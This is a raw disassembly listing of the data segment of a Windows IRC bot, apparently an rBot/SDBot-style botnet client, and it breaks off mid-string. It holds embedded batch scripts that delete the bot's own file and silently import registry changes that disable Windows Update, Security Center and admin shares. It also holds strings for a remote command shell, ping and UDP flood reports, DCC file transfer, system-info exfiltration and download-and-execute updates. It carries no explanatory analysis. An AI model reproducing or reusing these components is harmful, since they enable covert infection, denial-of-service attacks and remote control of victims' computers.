aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_40891C+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_40891C+186o align 10h aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_40891C+179o align 10h aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_40891C+16Co align 10h aIswindow db 'IsWindow',0 ; DATA XREF: sub_40891C+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_40891C+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_40891C+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_40891C:loc_408A51o ; sub_41EF8E+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40891C:loc_408A24o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40891C+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40891C+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_40891C+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_40891C+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40891C+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40891C+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_40891C+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40891C+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_40891C+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40891C+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_40891C+23o align 4 aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_40891C+Ao align 4 dword_429A94 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_4095A9+2F2o dd 2029206Ch, 2BBBB02h aDllTestComplet db ' DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+230o align 10h aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+194o align 10h aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+90o align 10h aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+28o align 4 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_409B27+72o align 4 aMirc db 'mIRC',0 ; DATA XREF: sub_409BEC+5o ; sub_4141DB+18o align 10h aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_409C6E+1Co align 10h aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_409D12+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_409D34+140o align 10h a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_409D34+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_409D34+48o align 10h aCTenpo_bat db 'c:\tenpo.bat',0 ; DATA XREF: sub_409EBC+29o align 10h a@echoOffEchoRe db '@echo off',0Dh,0Ah ; DATA XREF: sub_409EBC+14o db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT' db '\Parameters]>>%temp%\1.reg',0Dh,0Ah db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share' db 'dAccess]>>%temp%\1.reg',0Dh,0Ah db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus' db 'erv]>>%temp%\1.reg',0Dh,0Ah db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>' db '%temp%\1.reg',0Dh,0Ah db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>' db '%temp%\1.reg',0Dh,0Ah db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi' db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma' db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip' db '\Parameters]>>%temp%\1.reg',0Dh,0Ah db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh db 0Ah db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,' db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\' db '1.reg',0Dh,0Ah db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\' db '1.reg',0Dh,0Ah db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio' db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah db 'DEL %temp%\1.reg',0Dh,0Ah db 'DEL %0',0Dh,0Ah,0 align 4 unk_42B3F8 db 2 ; DATA XREF: sub_409FB2:loc_40A083o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aNotSupportedBy db ' Not supported by this system.',0 align 10h unk_42B440 db 2 ; DATA XREF: sub_409FB2:loc_40A051o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToAlloca db ' Unable to allocation ARP cache.',0 align 4 unk_42B484 db 2 ; DATA XREF: sub_409FB2:loc_40A007o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheIsEmpt db ' ARP cache is empty.',0 align 10h unk_42B4C0 db 2 ; DATA XREF: sub_409FB2+45o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorGettingAr db ' Error getting ARP cache: <%d>.',0 align 4 unk_42B504 db 2 ; DATA XREF: sub_40A133+13Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedSendin db ' Finished sending pings to %s.',0 align 4 unk_42B544 db 2 ; DATA XREF: sub_40A133+6Eo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPi db ' Error sending pings to %s.',0 align 10h dword_42B580 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: sub_40A2BF+1C7o dd 2029206Ch, 2BBBB02h aFinishedSend_0 db ' Finished sending packets to %s.',0 align 10h dword_42B5C0 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: sub_40A2BF+8Eo dd 2029206Ch, 2BBBB02h aErrorSending_1 db ' Error sending pings to %s.',0 align 4 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40A53E+33o align 10h dword_42B610 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40A5C5:loc_40A6F7o dd 2029206Ch, 2BBBB02h aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0 align 4 dword_42B654 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40A5C5+10Fo dd 2029206Ch, 2BBBB02h aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0 align 10h dword_42B690 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40A5C5:loc_40A6ABo dd 2029206Ch, 2BBBB02h aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0 align 8 dword_42B6D8 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40A71A+194o dd 2029206Ch, 2BBBB02h aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0 align 10h dword_42B720 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40A71A+14Co dd 2029206Ch, 2BBBB02h aRemoteCommandP db ' Remote Command Prompt',0 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40A71A+21o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40A8CF+39o aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:' ; DATA XREF: sub_40A9D8+297o db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:' db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:' db ' %s. [Uptime]: %s.',0 align 10h aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40A9D8+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40A9D8:loc_40AB3Co align 4 word_42B864 dw 3Fh ; DATA XREF: sub_40A9D8:loc_40AADAr ; sub_40C18B+1Fo align 4 dword_42B868 dd 28207325h, 297325hdword_42B870 dd 3F3F3Fh ; seg001:loc_41418Co a2003 db '2003',0 ; DATA XREF: sub_40A9D8+BAo ; seg001:0042C544o ... align 4 aXp db 'XP',0 ; DATA XREF: sub_40A9D8+AAo ; seg001:00414177o ... align 10h a2k db '2K',0 ; DATA XREF: sub_40A9D8+98o ; seg001:00414167o align 4 aMe db 'ME',0 ; DATA XREF: sub_40A9D8+7Eo ; seg001:0041414Eo align 4 a98 db '98',0 ; DATA XREF: sub_40A9D8+6Co ; seg001:0041413Eo align 4 aNt db 'NT',0 ; DATA XREF: sub_40A9D8+5Ao ; seg001:0041412Eo align 10h a95 db '95',0 ; DATA XREF: sub_40A9D8+46o ; seg001:00414120o align 4 aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0 ; DATA XREF: sub_40AC8C+ABo align 4 off_42B8D4 dd offset loc_412F4E ; DATA XREF: sub_40AC8C:loc_40AD00o dword_42B8D8 dd 4E414Ch dword_42B8DC dd 6C616944h, 70752Dhdword_42B8E4 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h, 0unk_42B8F8 db 2 ; DATA XREF: sub_40AD52:loc_40AF0Fo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 76h ; v db 69h, 73h, 69h db 74h ; t db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToConnec db 'Failed to connect to HTTP server.',0 align 4 unk_42B93C db 2 ; DATA XREF: sub_40AD52:loc_40AF08o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 76h ; v db 69h, 73h, 69h db 74h ; t db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCouldNotOpenAC db 'Could not open a connection.',0 align 4 dword_42B97C dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h ; DATA XREF: sub_40AD52+1A6o dd 206C1F64h, 0BB022029h, 202002BBh, 61766E49h, 2064696Ch dd 2E4C5255h, 2 dup(0) unk_42B9B0 db 2 ; DATA XREF: sub_40AD52:loc_40AEEBo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 76h ; v db 69h, 73h, 69h db 74h ; t db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToGetReq db 'Failed to get requested URL from HTTP server.',0 align 10h dword_42BA00 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h ; DATA XREF: sub_40AD52+192o dd 206C1F64h, 0BB022029h, 202002BBh, 204C5255h, 69736976h dd 2E646574h, 0 dword_42BA30 dd 2A2F2Ah dword_42BA34 dd 202E6425h, 3D207325h, 732520hdword_42BA40 dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dha_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40B078+60o align 4 dword_42BA74 dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh ; DATA XREF: sub_40B118+1Ao dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h dd 20353103h, 656C4320h, 64657261h, 2Eh dword_42BAAC dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: sub_40B18A+DCo dd 2029206Ch, 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh dd 2E657465h, 0 dword_42BADC dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: sub_40B18A+3Fo dd 2029206Ch, 2BBBB02h, 65422020h, 6E6967h dword_42BB00 dd 80000002h off_42BB04 dd offset aSoftwareMicr_0 ; DATA XREF: sub_40B2B9+1Er ; "Software\\Microsoft\\Windows\\CurrentVersi"... dd 80000002h, 42C364h, 80000001h, 42C39Ch dword_42BB18 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B459+170o dd 2029206Ch, 2BBBB02h aFailedToSendTo db ' Failed to send to Remote command shell.',0 align 10h dword_42BB60 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B459+ABo dd 2029206Ch, 2BBBB02h aFailedToOpenRe db ' Failed to open remote command shell.',0 align 4 dword_42BBA4 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B459+47o ; sub_40B61A+FDo dd 2029206Ch, 2BBBB02h aFailedToOpenSo db ' Failed to open socket.',0 align 4 dword_42BBDC dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B61A+362o ; sub_40B9BC+156o dd 2029206Ch, 2BBBB02h, 6F532020h, 74656B63h, 72726520h dd 2E726Fh dword_42BC08 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B61A+2FAo dd 2029206Ch, 2BBBB02h aTransferComple db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0 dword_42BC5C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B61A+202o dd 2029206Ch, 2BBBB02h aUnableToOpenSo db ' Unable to open socket.',0 align 4 dword_42BC94 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B61A+1CBo dd 2029206Ch, 2BBBB02h, 65532020h, 7420646Eh, 6F656D69h dd 2E7475h dword_42BCC0 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40B61A+16Ao dd 169h dword_42BCD8 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B61A+127o dd 2029206Ch, 2BBBB02h aFileDoesnTExis db ' File doesn',27h,'t exist.',0 align 4 dword_42BD0C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B61A+82o dd 2029206Ch, 2BBBB02h aFailedToBindTo db ' Failed to bind to socket.',0 dword_42BD44 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B61A+44o dd 2029206Ch, 2BBBB02h aFailedToCreate db ' Failed to create socket.',0 align 10h dword_42BD80 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B9BC+1CFo dd 2029206Ch, 2BBBB02h aTransferComp_0 db ' Transfer complete from IP: %s, Filename: %s (%s bytes).',0 align 4 dword_42BDD8 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B9BC+CBo dd 2029206Ch, 2BBBB02h aErrorOpeningSo db ' Error opening socket.',0 dword_42BE0C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B9BC+ABo dd 2029206Ch, 2BBBB02h aErrorOpeningFi db ' Error opening file for writing.',0 align 4 aAB db 'a+b',0 ; DATA XREF: sub_40B9BC+97o dword_42BE50 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B9BC+83o dd 2029206Ch, 2BBBB02h aErrorUnableToW db ' Error unable to write file to disk.',0 align 4 unk_42BE94 db 2 ; DATA XREF: sub_40BBF7+480o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0 align 8 unk_42BED8 db 2 ; DATA XREF: sub_40BBF7+472o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateFailedEr db ' Update failed: Error executing file: %s.',0 align 8 unk_42BF28 db 2 ; DATA XREF: sub_40BBF7+3B6o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0 align 4 dword_42BF7C dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch ; DATA XREF: sub_40BBF7+34Do dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h, 656E6570h dd 25203A64h, 2E73h aOpen db 'open',0 ; DATA XREF: sub_40BBF7+32Bo ; sub_40CD3A+297Bo ... align 8 unk_42BFB8 db 2 ; DATA XREF: sub_40BBF7+2D6o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fK db ' Downloaded %.1f KB to %s @ 